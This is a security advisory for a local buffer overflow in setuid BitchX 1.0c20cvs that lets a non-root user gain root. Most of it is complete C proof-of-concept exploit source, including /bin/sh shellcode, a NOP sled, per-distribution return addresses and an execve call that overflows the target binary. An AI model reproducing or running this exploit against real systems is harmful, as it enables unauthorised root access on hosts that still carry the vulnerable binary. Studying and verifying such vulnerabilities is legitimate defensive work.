[EXPL] BitchX Buffer Overflow

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  BitchX Buffer Overflow
------------------------------------------------------------------------


SUMMARY

BitchX contains a local exploitable buffer overflow condition. When BitchX 
is installed with setuid it allows a non-root user to obtain root access.

DETAILS

Vulnerable Systems:
 * BitchX version 1.0c20cvs

Exploit:
/*
 * P.o.C Exploit Code for BitchX
 * made for Version (BitchX-1.0c20cvs) -- Date (20020325)
 *
 * (C) 2004. GroundZero Security Research and Software Development
 * http://www.groundzero-security.com
 *
 * released under the GNU GPL - http://www.gnu.org/licenses/gpl.txt
 *
 * --[ background
 *
 * BitchX contains an local exploitable Buffer Overflow condition.
 * Sometimes it is installed setUID to allow non-root users SSL
 * access for example and therefore it could be used by a malicious
 * local user, to obtain root access. This code demonstrates the
 * described vulnerability and can be used to verify the bug on
 * your system(s).
 */

#include <stdio.h>

struct {
  char *distro;
  char *version;
  char *bx;
  unsigned int return_add;
  unsigned int buff_size;
} T[] = {
            { "SuSE Linux", "8.2", "BitchX-1.0c20cvs", 0xbfffff88, 2111 },
            { "Debian Linux", "3.0", "BitchX-1.0c19", 0xbfffff5c, 2090 },
            { "END", "", "", 0, 0 },
        };

char 
shellcode[]="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
                 
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
                 "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int usage(char *argv)
{
    int i;

    fprintf (stdout, "\nUsage: %s <path+bin>\n",argv);
    fprintf (stdout, " i.e.: %s /bin/BitchX\n\n",argv);
    fprintf (stdout, "Available Targets:\n");
    for(i=0;T[i].distro!="END";i++)
    fprintf (stdout, "\t\t\t %i: (%s %s) 
%s\n",i,T[i].distro,T[i].version,T[i].bx);

    return(0);
}
     
int main(int argc, char *argv[])
{
    unsigned int i;
    unsigned int t;

    char buffer[3000];
    char *a1 = "sh";
    char *a2 = "-c";
    char *env[] = { "TERM=xterm", 0 };
    char *args[] = { a1, a2, buffer, 0}; /* arguments list */

    fprintf (stdout, "\n\n###############################\n");
    fprintf (stdout, "## GroundZero Security Research and Software 
Development ##\n");
    fprintf (stdout, "## Linux Local P.o.C Exploit for BitchX ##\n");
    fprintf (stdout, "###############################\n\n");
 
    if(argv[1]==NULL||argv[2]==NULL)
    {
        usage (argv[0]);
        fprintf (stdout, "\n");
        exit (0);
    }

    if(strlen(argv[1])>255||strlen(argv[2])>255)
    {
        exit (-1);
    }

    t=atoi(argv[2]);

    fprintf (stdout, "selected: %s %s 
%s\n",T[t].distro,T[t].version,T[t].bx);
    fprintf (stdout, "using return address: 0x%lx\n",T[t].return_add);

    for ( i=0; i<T[t].buff_size; i+=4) *(long 
*)&buffer[i]=T[t].return_add; /* put return address in buffer */
    for ( i=0; i<(T[t].buff_size-strlen(shellcode)-40); ++i) 
*(buffer+i)=0x90; /* add nop's */

    memcpy (buffer+i,shellcode,strlen(shellcode)); /* generate exploit 
string */

    fprintf (stdout, "Launching Exploit against %s, you got 3 seconds to 
abort.. (ctrl+c)\n",argv[1]);
    sleep(3);

    if((execve (argv[1],args,env))==-1) /* execute binary and smash the 
stack */
    {
        perror("execve");
        exit (-1);
    }

    exit (0);
}

/* EOF */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:sk@groundzero-security.com> 
sk.
The original exploit can be found at:  <http://www.g-0.org/code/bx-xp.c> 
http://www.g-0.org/code/bx-xp.c



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